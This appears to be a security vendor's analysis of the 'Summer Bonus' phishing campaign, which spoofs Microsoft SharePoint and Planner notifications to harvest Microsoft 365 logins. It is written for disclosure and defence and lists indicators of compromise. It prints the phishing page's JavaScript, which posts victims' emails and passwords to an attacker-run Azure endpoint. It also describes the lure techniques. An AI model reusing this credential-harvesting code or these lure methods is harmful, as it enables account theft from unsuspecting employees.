“Summer Bonus” Phishing Campaign Spoofs Microsoft Services to Steal Credentials
Attackers are capitalizing on pandemic-era goodwill with a pair of spear phishing campaigns that impersonate Microsoft SharePoint and Planner notifications. Tracked by Area 1 Security as “Summer Bonus,” the campaigns dangle an unexpected payroll bump to trick employees into surrendering their Microsoft 365 credentials. The lure is timely: with many companies struggling financially, the prospect of a bonus is a powerful hook.
SharePoint Lure Masks Russian Origin
The first campaign mimics a Microsoft SharePoint file-share notification, a format that has become a persistent nuisance for Office 365 shops. The email is polished enough to pass casual inspection, with the FROM field spoofed to resemble an internal automated address like noreply@<company.com>. Recipients see a familiar “Open” button and their own email address woven into the message, adding a layer of authenticity.
Despite the innocent appearance, email headers reveal the initial Mail Transfer Agent was a Russian server farm at mgn-host[.]ru, which handled the bulk of the campaign’s early traffic. A WHOIS check of the sending domain returns little useful registration data. After August 1st, the attacker shifted to a virtual private server (VPS) to hide the campaign’s true origin and make header analysis less revealing. The pivot suggests the operator is actively tuning tactics to evade detection.
Clicking the embedded link leads not to Microsoft but to an AppSpot URL—hxxps://useryxijxui99[.]an[.]r[.]appspot.com/#@.com—with the subdomain rotated every few days. AppSpot, Google’s cloud application hosting platform, is a common vector for abuse: it issues valid SSL certificates and is a legitimate domain, so messages carrying its links often slip past legacy spam filters.
Arriving at the AppSpot page, victims see a credible Microsoft sign-in portal. The host’s legitimate SSL certificate gives the spoofed page an air of trustworthiness, even though a quick check of the address bar would reveal the site is not on a Microsoft domain. The campaign peaked on July 31st, likely timed to look like an end-of-month bonus payout, then tapered to small batches sent every three to four days near the close of the business day. Area 1 Security expects the campaign may resurface in the coming months.
Malicious JavaScript Hijacks Login Flow
Analysis of the spoofed login page’s source code shows the attacker borrowed the legitimate styling and layout of Microsoft’s authentication page but swapped in custom JavaScript. Rather than authenticating the user, the malicious script forwards entered credentials to a separate cloud-hosted endpoint at hxxps://701r10010ye[.]azurewebsites[.]net, which is hosted on Microsoft Azure—still another widely abused cloud platform. The attacker thus leans on multiple cloud services both to host the fake pages and to collect the stolen data, a strategy that complicates URL reputation checks and other traditional defenses.
if($('.pass_section_xyz').length){
var pass = $('#i0118');
var password_v = pass.val();
if(yid && yid != '' && yid.length > 4 && password_v != ''){
//var password_v = login_passwd.val();
/* */
$.ajax({
url: 'https://701r10010ye.azurewebsites.net/handler.php',
type: 'POST',
dataType: 'html',
beforeSend: function(){
$('.ldsddddd').show();
},
data: { Email : yid, password : password_v},
crossDomain: true,
success: function(msg) {
//alert(msg);
$('.ldsddddd').hide();
if(msg == 'yes'){
$('.alert_email_sect').hide();
window.location.replace("https://portal.office.com");
}
else{
$('.alert_msg_yxq').html("Your account or password is incorrect. If you don't remember your password");
$('.alert_email_sect').show();
}Planner Variant Abuses Cloud Buckets
A second wave in the same “Summer Bonus” theme spoofs Microsoft Planner notifications. The email body, imagery, and formatting closely mirror real Planner alerts, a sign of careful crafting that undermines the assumption that employee security training alone can stop such threats.
The giveaway in this variant is the sender field. The attacker constructed a display name that appears to belong to the targeted company, e.g. noreply@sharepoint[.]com @<targeted_company.com>, but message headers expose the true origin as root@hwsrv-757045[.]hostwindsdns[.]com—another VPS provider used to shield the attacker’s location. The “Open in Microsoft Planner” button points to a URL on Amazon Web Services: hxxps://officezbf0kmun0j324qysxn0y98zchskfee[.]s3[.]us-east-2[.]amazonaws.com/[email protected]. At the time of analysis, the S3 bucket was no longer active, but it very likely served a spoofed Microsoft login portal similar to the SharePoint ploy.
The campaign’s use of legitimate cloud infrastructure at nearly every stage makes it especially hard to catch. The URLs resolve to trusted domains, the messages carry no malicious payloads, and the phishing pages are served over HTTPS. Notably, these messages passed through Microsoft’s own Office 365 filtering, underscoring the gap in traditional detection methods.
Indicators of Compromise
hxxps://useryxijxui99[.]an[.]r[.]appspot[.]com/#@.comhxxps://riqri733r[.]ts[.]r[.]appspot[.]com/#@.comhttps://officezbf0kmun0j324qysxn0y98zchskfee[.]s3[.]us-east-2[.]amazonaws[.]com/[email protected]hxxps://701r10010ye[.]azurewebsites[.]net/handler[.]phproot@hwsrv-757045[.]hostwindsdns[.]comvds62403[.]mgn-host[.]ru
